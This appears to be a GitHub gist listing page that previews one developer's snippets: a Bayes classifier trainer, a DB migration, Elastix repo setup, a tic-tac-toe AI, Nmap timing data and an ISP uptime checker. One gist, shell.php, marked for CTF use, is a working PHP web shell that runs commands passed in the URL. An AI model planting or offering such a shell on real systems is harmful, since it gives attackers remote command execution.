Skip to content

Instantly share code, notes, and snippets.

@sdsdkkk
sdsdkkk / classifier-train-csv.rb
Last active August 29, 2015 14:12
Train Classifier or Classifier Reborn's Bayes Classifier Using CSV File
require 'classifier'
require 'csv'
content = ''
File.open('training_set.csv', 'r') do |file|
content = file.read
end
training_set = CSV.parse content
b = Classifier::Bayes.new "label1", "label2", "label3" #put every category for the classification here
@sdsdkkk
sdsdkkk / testing_lhm.rb
Created September 3, 2015 07:04
Sample DB Migration with LHM
class TestingLhm < ActiveRecord::Migration
def self.up
Lhm.change_table :rand_numbers do |t|
t.add_column :something, "INT(12)"
t.add_index :something
end
end
def self.down
Lhm.change_table :rand_numbers do |t|
@sdsdkkk
sdsdkkk / shell.php
Last active November 20, 2016 14:47
For CTF
<?php
echo '<pre>';
echo system($_GET['cmd']);
echo '</pre>';
?>

Keybase proof

I hereby claim:

  • I am sdsdkkk on github.
  • I am sdsdkkk (https://keybase.io/sdsdkkk) on keybase.
  • I have a public key ASBp8f6-jIlfZdDFUrhq0_2aE1JB1_kRCUmmo-xD22NpDwo

To claim this, I am signing this object:

@sdsdkkk
sdsdkkk / elastix.repo
Created December 31, 2019 03:40
Elastix YUM repo
[elastix-base]
name=Base RPM Repository for Elastix
#mirrorlist=http://mirror.elastix.org/?release=4&arch=$basearch&repo=base
baseurl=http://elastix.adaptixnetworks.com/4/base/$basearch/
gpgcheck=1
enabled=1
gpgkey=http://elastix.adaptixnetworks.com/RPM-GPG-KEY-Elastix
[elastix-updates]
name=Updates RPM Repository for Elastix
#! /bin/bash
mkdir ~/yum-repo-backups/
mv /etc/yum.repos.d/elastix.repo ~/yum-repo-backups/
mv /etc/yum.repos.d/commercial-addons.repo ~/yum-repo-backups/
mv /etc/yum.repos.d/epel* ~/yum-repo-backups/
curl https://gist.githubusercontent.com/sdsdkkk/e8663c8e53ccc7dfddf4679242458ac5/raw/b86f5720e8476f2c68fb723cbd5a3004bb67decc/elastix.repo > /etc/yum.repos.d/elastix.repo
yum install -y git curl elastix-callcenter
@sdsdkkk
sdsdkkk / tictactoe-ai.py
Last active May 24, 2020 00:57
Simple tic-tac-toe AI implementation using statistics-based weights on grids for 3x3 board
from random import randrange
# Set of grids
G = {1, 2, 3, 4, 5, 6, 7, 8, 9}
# List of win conditions
W = [{1, 2, 3}, {4, 5, 6}, {7, 8, 9}, {1, 4, 7}, {2, 5, 8}, {3, 6, 9}, {1, 5, 9}, {3, 5, 7}]
# Declare empty sets for players' initial occupied grids
A = set([])
B = set([])
@sdsdkkk
sdsdkkk / nmap-scan-duration.csv
Created March 26, 2021 13:07
Duration of Nmap scans using various scan technique flags (100 scans per flag)
flag duration
no_flag 1.29
no_flag 1.27
no_flag 2.39
no_flag 1.31
no_flag 1.29
no_flag 1.33
no_flag 1.38
no_flag 1.31
no_flag 1.28
@sdsdkkk
sdsdkkk / uptime-check.py
Created December 19, 2021 13:55
ISP uptime checker process script
from ping3 import ping
from datetime import datetime
from time import sleep
import sys
TARGET_HOSTS = [
'google.com',
'facebook.com',
'firstmedia.com'
]
@sdsdkkk
sdsdkkk / isp-uptime.service
Created December 19, 2021 14:01
ISP uptime systemd config file
[Unit]
Description=ISP Uptime Checker Utility
[Service]
ExecStart=/usr/bin/python3 /home/automaton/network-utils/isp-uptime/uptime-check.py
KillMode=process
Restart=on-failure
Type=simple
StandardOutput=append:/var/log/isp-uptime.log
StandardError=append:/var/log/isp-uptime.log